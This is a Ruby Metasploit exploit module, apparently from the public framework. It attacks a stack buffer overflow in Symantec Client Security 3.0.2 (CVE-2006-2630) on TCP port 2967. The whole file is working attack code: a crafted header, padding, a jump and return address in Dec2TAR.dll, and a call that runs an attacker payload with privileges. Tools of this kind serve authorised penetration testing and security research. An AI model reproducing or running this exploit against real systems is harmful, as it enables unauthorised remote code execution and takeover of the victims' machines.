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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Symantec Remote Management Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.
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        This module has only been tested against Symantec Client Security 3.0.2
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        build 10.0.2.2000.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2006-2630'],
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          ['OSVDB', '25846'],
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          ['BID', '18107'],
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          ['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 500,
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          'BadChars' => "\x00",
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll
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        ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2006-05-24'))
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    register_options(
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      [
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        Opt::RPORT(2967)
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      ])
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  end
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  def exploit
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    connect
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    header =  "\x01\x10\x0a\x20\x0a\x00\x00\x00"
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    header << "\x02\x18\x00\x01\x00\x00\x00\x00"
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    header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"
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    header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"
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    crufta =  rand_text_alphanumeric(512)
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    cruftb =  rand_text_alphanumeric(514)
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    cruftc =  payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)
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    cruftd =  rand_text_alphanumeric(495)
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    cruftd[479, 2] = "\xeb\x06"
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    cruftd[483, 4] = [target.ret].pack('V')
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    cruftd[487, 5] = [0xe8, -1000].pack('CV')
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    cruftd << rand_text_alphanumeric(21)
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    crufte =  rand_text_alphanumeric(6) + "\x19\x00\x00\x00"
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    crufte << rand_text_alphanumeric(504) + "\x00\x00"
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    overflow =  [ crufta.length ].pack('v') + crufta
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    overflow << [ cruftb.length ].pack('v') + cruftb
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    overflow << [ cruftc.length ].pack('v') + cruftc
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    overflow << [ cruftd.length ].pack('v') + cruftd
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    overflow << [ crufte.length ].pack('v') + crufte
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    sploit = header + overflow
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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